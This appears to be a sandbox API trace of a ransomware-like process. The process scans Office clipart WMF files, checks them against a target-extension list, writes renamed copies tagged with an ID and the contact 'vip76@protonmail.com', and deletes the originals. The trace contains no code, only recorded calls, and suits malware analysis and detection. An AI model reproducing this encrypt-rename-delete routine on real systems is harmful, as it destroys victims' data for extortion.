	[0194.331] lstrlenW (lpString=".xlsx") returned 5
	[0194.331] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0194.331] lstrlenW (lpString=".ppt") returned 4
	[0194.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.331] lstrlenW (lpString=".zip") returned 4
	[0194.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.331] lstrlenW (lpString=".rar") returned 4
	[0194.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.331] lstrlenW (lpString=".bz2") returned 4
	[0194.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.331] lstrlenW (lpString=".7z") returned 3
	[0194.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.331] lstrlenW (lpString=".dbf") returned 4
	[0194.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.331] lstrlenW (lpString=".1cd") returned 4
	[0194.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.331] lstrlenW (lpString=".jpg") returned 4
	[0194.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.331] lstrlenW (lpString=".doc") returned 4
	[0194.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.332] lstrlenW (lpString=".docx") returned 5
	[0194.332] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0194.332] lstrlenW (lpString=".pdf") returned 4
	[0194.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.332] lstrlenW (lpString=".xls") returned 4
	[0194.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.332] lstrlenW (lpString=".xlsx") returned 5
	[0194.332] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0194.332] lstrlenW (lpString=".ppt") returned 4
	[0194.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.332] lstrlenW (lpString=".zip") returned 4
	[0194.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.332] lstrlenW (lpString=".rar") returned 4
	[0194.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.332] lstrlenW (lpString=".bz2") returned 4
	[0194.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.332] lstrlenW (lpString=".7z") returned 3
	[0194.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.332] lstrlenW (lpString=".dbf") returned 4
	[0194.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.332] lstrlenW (lpString=".1cd") returned 4
	[0194.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0194.333] lstrlenW (lpString=".jpg") returned 4
	[0194.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.333] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.333] lstrlenW (lpString="J0106146.WMF") returned 12
	[0194.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.334] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=23548) returned 1
	[0194.334] CloseHandle (hObject=0x5e8) returned 1
	[0194.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220
	[0194.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0194.335] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.335] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0194.336] GetLastError () returned 0x0
	[0194.336] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x5bfc, lpOverlapped=0x0) returned 1
	[0194.645] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x5c00, lpOverlapped=0x0) returned 1
	[0194.646] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.646] WriteFile (in: hFile=0x514, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.646] SetEndOfFile (hFile=0x514) returned 1
	[0194.647] CloseHandle (hObject=0x514) returned 1
	[0194.647] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.647] SetEndOfFile (hFile=0x5e8) returned 1
	[0194.651] CloseHandle (hObject=0x5e8) returned 1
	[0194.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1
	[0194.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.652] lstrlenW (lpString=".doc") returned 4
	[0194.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.652] lstrlenW (lpString=".docx") returned 5
	[0194.652] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.652] lstrlenW (lpString=".pdf") returned 4
	[0194.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.653] lstrlenW (lpString=".xls") returned 4
	[0194.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.653] lstrlenW (lpString=".xlsx") returned 5
	[0194.653] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.653] lstrlenW (lpString=".ppt") returned 4
	[0194.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.653] lstrlenW (lpString=".zip") returned 4
	[0194.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.653] lstrlenW (lpString=".rar") returned 4
	[0194.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.653] lstrlenW (lpString=".bz2") returned 4
	[0194.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.653] lstrlenW (lpString=".7z") returned 3
	[0194.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.653] lstrlenW (lpString=".dbf") returned 4
	[0194.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.653] lstrlenW (lpString=".1cd") returned 4
	[0194.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.653] lstrlenW (lpString=".jpg") returned 4
	[0194.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.653] lstrlenW (lpString=".doc") returned 4
	[0194.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.654] lstrlenW (lpString=".docx") returned 5
	[0194.654] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0194.654] lstrlenW (lpString=".pdf") returned 4
	[0194.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.654] lstrlenW (lpString=".xls") returned 4
	[0194.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.654] lstrlenW (lpString=".xlsx") returned 5
	[0194.654] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0194.654] lstrlenW (lpString=".ppt") returned 4
	[0194.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.654] lstrlenW (lpString=".zip") returned 4
	[0194.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.654] lstrlenW (lpString=".rar") returned 4
	[0194.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.654] lstrlenW (lpString=".bz2") returned 4
	[0194.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.654] lstrlenW (lpString=".7z") returned 3
	[0194.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.654] lstrlenW (lpString=".dbf") returned 4
	[0194.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.654] lstrlenW (lpString=".1cd") returned 4
	[0194.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68
	[0194.655] lstrlenW (lpString=".jpg") returned 4
	[0194.655] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.655] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.655] lstrlenW (lpString="J0107026.WMF") returned 12
	[0194.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0195.412] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=7632) returned 1
	[0195.412] CloseHandle (hObject=0x5b4) returned 1
	[0195.412] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220
	[0195.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0195.557] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.557] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0195.558] GetLastError () returned 0x0
	[0195.558] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1dd0, lpOverlapped=0x0) returned 1
	[0195.560] WriteFile (in: hFile=0x5b0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1de0, lpOverlapped=0x0) returned 1
	[0195.561] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.561] WriteFile (in: hFile=0x5b0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.561] SetEndOfFile (hFile=0x5b0) returned 1
	[0195.561] CloseHandle (hObject=0x5b0) returned 1
	[0195.561] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.561] SetEndOfFile (hFile=0x368) returned 1
	[0195.564] CloseHandle (hObject=0x368) returned 1
	[0195.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1
	[0195.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.566] lstrlenW (lpString=".doc") returned 4
	[0195.566] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.566] lstrlenW (lpString=".docx") returned 5
	[0195.566] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0195.566] lstrlenW (lpString=".pdf") returned 4
	[0195.566] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.566] lstrlenW (lpString=".xls") returned 4
	[0195.566] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.566] lstrlenW (lpString=".xlsx") returned 5
	[0195.566] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0195.566] lstrlenW (lpString=".ppt") returned 4
	[0195.566] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.567] lstrlenW (lpString=".zip") returned 4
	[0195.567] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.567] lstrlenW (lpString=".rar") returned 4
	[0195.567] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.567] lstrlenW (lpString=".bz2") returned 4
	[0195.567] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.567] lstrlenW (lpString=".7z") returned 3
	[0195.567] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.567] lstrlenW (lpString=".dbf") returned 4
	[0195.567] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.567] lstrlenW (lpString=".1cd") returned 4
	[0195.567] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.567] lstrlenW (lpString=".jpg") returned 4
	[0195.567] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.567] lstrlenW (lpString=".doc") returned 4
	[0195.567] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.567] lstrlenW (lpString=".docx") returned 5
	[0195.567] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0195.567] lstrlenW (lpString=".pdf") returned 4
	[0195.567] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.568] lstrlenW (lpString=".xls") returned 4
	[0195.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0195.568] lstrlenW (lpString=".xlsx") returned 5
	[0195.568] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0195.568] lstrlenW (lpString=".ppt") returned 4
	[0195.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0195.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.568] lstrlenW (lpString=".zip") returned 4
	[0195.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0195.568] lstrlenW (lpString=".rar") returned 4
	[0195.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0195.568] lstrlenW (lpString=".bz2") returned 4
	[0195.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0195.568] lstrlenW (lpString=".7z") returned 3
	[0195.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0195.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.568] lstrlenW (lpString=".dbf") returned 4
	[0195.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0195.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.568] lstrlenW (lpString=".1cd") returned 4
	[0195.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0195.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68
	[0195.568] lstrlenW (lpString=".jpg") returned 4
	[0195.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0195.569] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0195.569] lstrlenW (lpString="J0107150.WMF") returned 12
	[0195.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0195.570] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=13456) returned 1
	[0195.570] CloseHandle (hObject=0x368) returned 1
	[0195.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220
	[0195.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0195.571] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.571] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0195.572] GetLastError () returned 0x0
	[0195.572] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3490, lpOverlapped=0x0) returned 1
	[0195.574] WriteFile (in: hFile=0x5b0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x34a0, lpOverlapped=0x0) returned 1
	[0195.576] ReadFile (in: hFile=0x368, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.576] WriteFile (in: hFile=0x5b0, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0195.576] SetEndOfFile (hFile=0x5b0) returned 1
	[0195.576] CloseHandle (hObject=0x5b0) returned 1
	[0195.577] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.577] SetEndOfFile (hFile=0x368) returned 1
	[0195.581] CloseHandle (hObject=0x368) returned 1
	[0195.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.581] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1
	[0195.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68
	[0195.583] lstrlenW (lpString=".doc") returned 4
	[0195.583] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0195.583] lstrlenW (lpString=".docx") returned 5
	[0195.583] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0195.583] lstrlenW (lpString=".pdf") returned 4
	[0195.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0195.583] lstrlenW (lpString=".xls") returned 4
	[0195.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
